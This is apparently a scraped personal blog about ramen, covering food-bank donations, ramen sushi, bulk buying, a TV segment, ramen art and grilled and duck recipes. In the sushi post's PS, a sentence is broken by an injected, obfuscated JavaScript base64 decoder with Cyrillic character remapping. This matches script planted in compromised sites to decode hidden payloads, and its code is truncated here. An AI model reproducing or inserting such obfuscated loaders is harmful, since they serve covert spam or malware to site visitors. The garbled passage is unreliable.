It’s the Time of Year to Give Ramen

I’m not referring to stocking stuffers. Ramen is a good item to donate to your local food bank. I have a bag that I made myself that includes 8 packs of ramen, peanut butter, and some assorted canned items, corn, beans, green beans, and tuna. Since food banks really need supplies around this time (and all the time really), please consider donating ramen or anything else you can spare.

You can find your local food bank here.

Update: My local grocery store was collecting food this weekend, so I dropped off some peanut butter, cereal, assorted canned foods, and of course, ramen.

Ramen Noodle Sushi

This looks like a fun recipe to make “sushi” with ramen noodles. Two of my favorite dishes combined, this is like the Voltron of Japanese food.


PS – I realize this is an AP recipe. Hopefully I won’t get function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(">a DMCA takedown notice from them. This will likely be my last link to an AP story...

PPS - I wonder when WordPress will fix the "publish in the future" bug? It's really annoying me.

Ramen “Buy The Case”

I’ve been asked several times where to buy bulk ramen that’s typical US-store available stuff, not the fancy import ramen in other words. is the site that seems to be one of the better ones to use, a caveat is that I’ve never personally purchased from them. They aren’t paying me for the link, but if you work for the company, feel free to send me some noodles!

I also added them to the links on the right hand side there.

Ramen on “Unwrapped”

A re-run of the show “Unwrapped” on the Food Channel today featured “cheap eats”. The first segment was on how Maruchan makes ramen bricks. It’s airing again tomorrow (March 30 1AM Eastern/Pacific) and then will be back on again in May. Here's the link to details..

Watching the ramen being made was interesting, but some of the info was obvious. For example, all the noodles are the same flavor until the seasoning is added. Duh!

Awesome Ramen Art from South Korea

CNN has some video on an artist from South Korea who uses ramen noodles for art. His creation is a large “wall” of ramen that looks pretty cool. The artist’s name is Sang-Wook Lee and the video is about 2 minutes long.

Video Link

Grilled Ramen: Wow

I found this gem in the comments on my site. I’ve had plenty of stuff grilled, even grilled Caesar salad before, but this is the first grilled recipe I’ve ever seen! There’s a great picture too, but I cannot figure out hot to link to it, oh well.


If you love the taste of a good char on just about anything, then this is a fun and frugal dish that you should add to your repertoire. Now the staple food of college student cooks, the apathetic, and the budget conscious obtains it's bbq boy scout patch. First, a note about our main ingredient: I am loyal to Nissin brand Oriental Flavor ramen (tasty, vegetarian, always on sale - but feel free to use whatever brand/flavor you prefer).


Ramen on Myspace

Someone has created a Myspace page for Momofuku Ando. The page is actually a tribute and there are lots of nice comments about how important ramen has been in their lives. If you are on myspace, check it out.

Interesting Recipe

Interesting recipe, not from a reader, and not mine, but one of the few I've seen that involves duck. All of the ingredients are in metric, so for US cooks, use Google (below) to convert.

Ramen noodles with barbecued duck Link

Convert to US Units by googling for something like "300g to oz".